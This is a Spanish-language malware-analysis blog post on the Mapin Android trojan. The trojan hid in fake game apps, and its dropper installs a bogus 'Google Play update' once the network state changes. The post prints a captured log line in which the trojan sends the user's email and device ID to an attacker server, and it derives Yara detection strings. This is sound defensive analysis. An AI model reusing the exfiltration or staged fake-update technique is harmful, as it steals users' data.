Hace
unos días se publicó el anuncio del troyano Mapin. Este troyano según
la firma Antivirus ESET ha estado presente
en Google Play a finales de 2013 y finales de 2014, superando varios miles
de descargas.
Para incitar al usuario a
instalar la aplicación, ésta se hacía pasar por juegos muy buscados en el
market de Google:
- Hill Climb Racing
- Plants vs Zombies
- Highway Zombie
- Super Maria adventure (sí, Maria!)
- Zombies Highway Killer
- Dr Driving - Street Driving
- Super Hero Adventure
Tras estudiar algunas de estas
muestras en nuestro laboratorio vamos a explicar su comportamiento:
Estructura de funcionamiento del instalador
El software está formado por tres
componentes, el primero de ellos es el que se descargaba desde la tienda
oficial de Android, también conocido como "Dropper" o "Instalador"
(a la izquierda en la imagen superior).
Después de hacer un pequeño
análisis estático de este archivo encontramos que la carpeta "assets" del APK contiene dos
archivos cuyas cabeceras corresponden a archivos APK (o ZIP, que son
exactamente iguales).
Después de ver esto, procedimos a
estudiar la información que nos aportaba Koodous,
empezando por los permisos de cada una de las aplicaciones. Primero vemos que el
instalador solicita acceso tanto de lectura como escritura al almacenamiento
externo (tarjeta SD), ver el estado de la red, Internet, tareas en ejecución y
mensajes C2D.
URL Instalador en Koodous:
Posteriormente con el análisis
dinámico manual veremos que usa estos permisos para almacenar las APKs
directamente en la tarjeta SD y el estado de red para lanzar la instalación del
troyano.
También veremos que los permisos
del troyano tienen su razón, por ejemplo el uso de "C2D_MESSAGE" https://koodous.com/apks/cc95dc5b84d70de1b0a192f05e4c46813bfec3d6572750dbbad423a6946dc059:
También observamos que las URLs
que contiene el APK en su interior resultan sospechosas, más adelante lo
confirmaremos y explicaremos para qué las utiliza:
Procedemos con un análisis
dinámico de la muestra para ver "grosso modo" cuál es su "modus
operandi" y lo primero que nos llama la atención es, que tras la
ejecución del "Dropper" en
el dispositivo, este nos solicita instalar otra aplicación con el mismo nombre:
![]() |
| Imagen segunda instalación juego |
Recopilando, hasta el momento el
usuario ha instalado el "Dropper"
desde la tienda oficial de aplicaciones, y al ejecutarlo se ha vuelto a mostrar
una pantalla de instalación (Imagen segunda instalación juego), que para un usuario común puede no
resultar muy extraño. Tras esta instalación, en las aplicaciones del dispositivo
aparece un único icono de "Plantas
vs Zombies" y recordemos hay dos instaladas (el dropper y el juego
ficticio).
En la siguiente etapa, el dropper
va a intentar instalar el troyano. Para que sea más creíble para el usuario y piense
que va a instalar una aplicación legítima, no lo hace inmediatamente, sino que
espera a cuando haya un cambio de conectividad de red (recordar el permiso de
cambio de red del que comentábamos al principio). Desactivar el modo avión,
conectar el WiFi o 3G/4G activa este "broadcast"
y entonces el sistema nos invita a instalar una actualización de "Google Play update" (que obviamente
es falsa). Pueden comprobar el análisis en el siguiente enlace de Koodous:
Tras la instalación, el usuario
no percibe información visible, pero el troyano se está ejecutando como
servicio en “background”. Lo primero que hace es conectar con el servidor del
atacante (recordemos las URLs que son visibles en Koodous) para enviar la
información del dispositivo y el usuario:
V/AndroidHive GCM( 8733): Posting
'email=usermail@gmail.com®Id=APA91bFFOaavddFd33tZQDwmi2e6t-KmLbFI14cucUkLqDPHMRddcDDqFOy-5dHFrofySMJLl9IYl2wc1WQAWcoT1Re9BDq1BLb9a42BiIve-8IU2vsyR5yVopXpx6SWu1cFsrK3&name=null'
to http://topgame24h.com/gcm/register.php
En esta petición envía el ID del
dispositivo, el email del usuario y el nombre al servidor del atacante (URL
actualmente desactivada), mediante una petición POST. Posteriormente se conecta
con los servidores de Google para registrarse en el servicio GCM. El id del
desarrollador (en este caso el fabricante del malware) es "138675150963":
V/GCMRegistrar(
8733): Registering app com.system.main of senders 138675150963
![]() |
| Imagen del código GCM del desarrollador |
Desensamblando el código dex
(compilado de Android) a Java podemos ver las funciones que el atacante usa
para controlar los dispositivos. Esto lo hace enviando comandos a través de los
servidores GCM de Google:
Como casi todas las muestras
antivirus, una vez se analiza, es
interesante sacar una firma. Una firma de virus, resumiendo, es una serie
de expresiones regulares que deben cumplirse para categorizarlo dentro de esa
familia. Existe una herramienta libre llamada Yara (cuya comunidad está
creciendo a pasos agigantados) y que se puede usar en Koodous abiertamente.
En primer lugar vamos a crear la
regla para el dropper. La manera más sencilla es extraer cadenas de texto
características del mismo, y analizando hemos visto 3 de ellas que pueden ser
perfectas:
":Write
APK file (from txt in assets) to SDCard sucessfully!"
"4Write
APK (from Txt in assets) file to SDCard Fail!"
"device_admin"
Así que podemos crear la
siguiente regla en Koodous, que en el momento de escribir esta entrada detecta
nueve aplicaciones fraudulentas.
En cuanto al troyano (Google Play
update), basándonos en unas cuantas muestras, se han extraído las siguientes
cadenas que pueden ser muy características:
"138675150963"
//GCM id
"res/xml/device_admin.xml"
"Device registered: regId ="
La primera de ellas es el código
GCM del desarrollador, la segunda un archivo que no suelen tener el resto de
APKs y el tercero es parte de una cadena que el atacante usa para depurar. La
regla completa está en Koodous https://koodous.com/rulesets/851
con ocho detecciones en el momento de escribir esta entrada.
Más información:
una-al-dia (06/07/2015) Koodous: inteligencia colectiva para
proteger tu Android
El Troyano Mapin consigue infectar sistemas Android a pesar
de las medidas de seguridad de Google
Dropper
analizado
Juego instalado
Troyano analizado
https://koodous.com/apks/cc95dc5b84d70de1b0a192f05e4c46813bfec3d6572750dbbad423a6946dc059
Antonio Sánchez










No hay comentarios:
Publicar un comentario